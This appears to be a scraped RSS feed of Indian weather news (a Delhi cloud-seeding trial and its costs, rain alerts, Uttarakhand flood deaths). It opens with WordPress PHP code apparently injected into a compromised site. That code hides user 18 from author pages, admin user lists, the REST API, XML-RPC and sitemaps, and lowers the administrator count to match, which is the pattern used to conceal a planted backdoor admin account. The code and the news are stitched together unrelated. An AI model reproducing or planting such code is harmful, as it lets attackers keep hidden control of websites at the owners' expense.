add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post IIT-Kanpur Director Explains Cloud Seeding Trial in Delhi, Costs and Findings appeared first on The Edge Media.
]]>The Delhi government had conducted two cloud-seeding trials on Tuesday, in collaboration with IIT-Kanpur, in areas such as Burari, north Karol Bagh, and Mayur Vihar. While there was no significant rainfall in these regions, light rainfall was recorded in Noida and Greater Noida after the trials.
Agrawal explained that the trial covered an area of approximately 300 square kilometers, with an estimated total cost of around Rs 60 lakh, which translates to about Rs 20,000 per square kilometer. He further stated that if the process were expanded to cover 1,000 square kilometers, the total cost would amount to approximately Rs 2 crore.
He also highlighted the projected cost of conducting cloud seeding over an entire winter period, assuming cloud availability once every 10 days. In such a scenario, the overall cost would range between Rs 25 crore and Rs 30 crore. Agrawal added that this amount is relatively small when compared to the significant funds spent on pollution control measures in the city.
The IIT-Kanpur director explained that the low moisture content in the clouds, which was only about 15%, reduced the likelihood of successful rainfall. Despite not achieving the desired rainfall, Agrawal pointed out that the trial provided valuable data. He mentioned that 15 monitoring stations were set up across various locations to assess air pollution and moisture levels. The results showed a reduction in PM 2.5 and PM 10 concentrations, suggesting that even with limited moisture, cloud seeding had some effect on air quality.
As part of the trials, a mixture of common salt, rock salt, and silver iodide was injected into the clouds. Agrawal clarified that the tiny particles helped in the condensation process, allowing water droplets to form, and when these droplets accumulated, they eventually led to rainfall.
A scheduled cloud-seeding trial for Wednesday was postponed due to insufficient moisture in the clouds.
The post IIT-Kanpur Director Explains Cloud Seeding Trial in Delhi, Costs and Findings appeared first on The Edge Media.
]]>The post More rain is anticipated in Chennai on November 10-11, prompting a red alert appeared first on The Edge Media.
]]>
The IMD issued a red alert for Tiruvannamalai, Villupuram, Chennai, Chengalpattu, Kanchipuram, and Tiruvalur on Tuesday, November 9. Nilgiris, Coimbatore, Tiruppur, Dindigul, Salem, Kallakuruchi, Tirupattur, Vellore, and Ranipet were all given an orange alert.
The post More rain is anticipated in Chennai on November 10-11, prompting a red alert appeared first on The Edge Media.
]]>The post Uttarakhand rains: 52 dead, 5 missing; situation getting better appeared first on The Edge Media.
]]>
Since Sunday, 52 people have died as a result of torrential rain and landslides, according to government data. Seventeen people were hurt, and five people are still missing. The district of Nainital was the hardest hit, with 28 deaths reported on Tuesday.
The post Uttarakhand rains: 52 dead, 5 missing; situation getting better appeared first on The Edge Media.
]]>The post Rain fills the forecourt of the Delhi airport, and planes are delayed as a result of the inclement weather appeared first on The Edge Media.
]]>“Passengers experienced waterlogging for a short time because of the strong downpour. The on-the-ground staff was quickly organized, and operations have been restored since 9 a.m “DIAL sent out a tweet. It was also followed up with the most recent video, which showed the Delhi airport’s forecourt absolutely devoid of water.
The post Rain fills the forecourt of the Delhi airport, and planes are delayed as a result of the inclement weather appeared first on The Edge Media.
]]>The post Southwest monsoon to revive from Thursday : IMD appeared first on The Edge Media.
]]>Central and adjoining peninsular India will experience enhanced rainfall activities during the next 2-3 days, the weather department said in its forecast. There will be fairly widespread rainfall in Gujarat, Maharashtra, Odisha, Jharkhand and Gangetic West Bengal on Wednesday and Thursday, the IMD further said.
The activity will continue over Madhya Pradesh on Friday too, according to the weather department. East Uttar Pradesh and Uttarakhand are expected to witness isolated heavy rainfall starting Thursday which will continue till Saturday. Himachal Pradesh, Haryana, Chandigarh, Delhi and West Uttar Pradesh will get rainfall for two days – Friday and Saturday – the IMD said.
The IMD has issued an orange alert for moderate rain in Delhi. The precipitation is expected to bring the maximum temperature down to 32 degrees Celsius in three to four days, it said.
The Northeast India, meanwhile, will continue to receive widespread rainfall activity for the next two days, after which the IMD has predicted a decrease in intensity.
Fairly widespread rainfall activity with isolated heavy falls is very likely over Bihar from August 20 to 22, according to IMD.
Weather experts said “good rainfall” in the last 10 days of the month is expected to cover the precipitation deficit in the national capital.
Normally, Delhi gauges 247.7mm rainfall in August. The IMD had earlier predicted normal rainfall for Delhi this month.
In July, the monsoon had entered the first break phase even before reaching most parts of northwest India, including Delhi.
The post Southwest monsoon to revive from Thursday : IMD appeared first on The Edge Media.
]]>The post IMD issues an orange alert in Thane, Navi Mumbai. appeared first on The Edge Media.
]]>Intense spells of rain are very likely to occur at isolated places, the weather forecasting agency predicted.
On the other hand, Mumbai , which was earlier placed in the orange alert warning slot, has now been downgraded to yellow alert.
“Moderate to intense spells of rain are very likely to occur at isolated places,” the IMD informed.
The Mumbai civic body also shared that there is a possibility of occasional gusty winds reaching 45-55kmph to 60 kmph in some areas.
The post IMD issues an orange alert in Thane, Navi Mumbai. appeared first on The Edge Media.
]]>